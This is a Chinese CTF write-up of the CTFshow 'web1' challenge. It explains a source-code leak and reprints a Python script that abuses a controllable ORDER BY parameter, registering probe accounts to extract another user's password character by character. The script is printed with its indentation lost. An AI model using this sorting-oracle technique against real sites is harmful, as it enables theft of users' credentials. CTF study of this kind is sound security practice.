CTFshow web1(困難題)
根據前面做題經驗,看見登入框基本都是跑一下爆破,弱口令等等
這裡用 dirmap 目錄爆破爆出來有一個 www.zip
把他下載下來
看了 login.php 和 reg.php
兩個檔案的原始碼都對sql注入常見的字元做了嚴格的過濾,sql注入此路不通
看了下 main.php 看起來是一個顯示使用者資訊的頁面。
我們回到登入介面,註冊一個賬號並登入檢視一下是什麼樣的效果
出來了一個使用者資訊表,裡面是已註冊的使用者資訊
第一行有個提示 flag_is_my_password
看來是要獲取這個使用者的密碼
(才發現題目有提示)
回到 main.php 原始碼
關鍵就是這兩句,我們可以控制 order by 的引數
我本人到這裡就沒思路了。看網上別人的 writeup 發現可以利用 ”order by 密碼“ 這種方法來猜解密碼
手工來操作比較複雜,所以還是得寫指令碼
這裡找到一位大佬寫的指令碼:
https://blog.csdn.net/miuzzx/article/details/104514442
#author 羽
import requests
url="https://fa8f49b7-5fc6-4dcb-97a1-b0e842429a9b.chall.ctf.show"
url1=url+"/reg.php" #註冊頁面
url2=url+"/login.php"#登入介面
url3=url+"/user_main.php?order=pwd" #查詢介面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
print("*")
for i in s:
#print(i)
l=""
l=k+i
l2 = k+chr(ord(i)-1)
data={'username':l,
'email':'c',
'nickname':'c',
'password':l
}
data2={'username':l,
'password':l
}
if (l=='flag'):
k='flag'
print(k)
break
session = requests.session()
r1 = session.post(url1,data)
r2 = session.post(url2,data)
r3 = session.get(url3)
t = r3.text
#print(l)
if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):
k=l2
print(k)
break
我對這位大佬指令碼實現原理的解析:
原網頁可以控制 order by 子句的引數,這裡可以設定為按照密碼排序
按照密碼排序時,密碼是按照首字元的 ascii 值的大小來排序的。
指令碼作者透過爆破字元的方式,註冊新賬號,併為這些新賬號設定1位、2位… 45位的密碼,透過檢視這些新建立的賬號排位是在 flag 賬號的上方還是下方來推測 flag 賬號的密碼。
當設定的密碼某一位 ascii 值比 flag 賬號的密碼對應位的 ascii 值小,就會排在 flag 賬號的上面;如果和對應位相等,還是排在上面(因為密碼的總長度);只有比對應位的 ascii 值大,這個賬號才會排在 flag 賬號的下面。
光說明有點抽象,直接看圖:
這位大佬的指令碼透過一個很巧妙的方式來判斷這些記錄是在 flag 的上方還是下方(用 t.find也行,同樣是返回該標籤的首字元位置)
if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):
就是透過 指定字串 index 的值
值更大,就是在下方
網上很多人的疑問:
為什麼這個指令碼跑出來的 flag 最後會是 ‘|’ 符號?
這是因為這位大佬的指令碼里爆破字元的列表 ‘s’ 裡面帶有了 ‘|’ 符號
分別檢視 ‘{‘ ‘}’ ‘|‘ 這三個字元的 ascii 碼,會發現一個很有趣的現象
{:123
|:124
}:125
沒錯,兩個花括號的 ascii 碼不是連著的。
原理就研究到這裡,我們接下來跑一下這個程式碼
flag 到手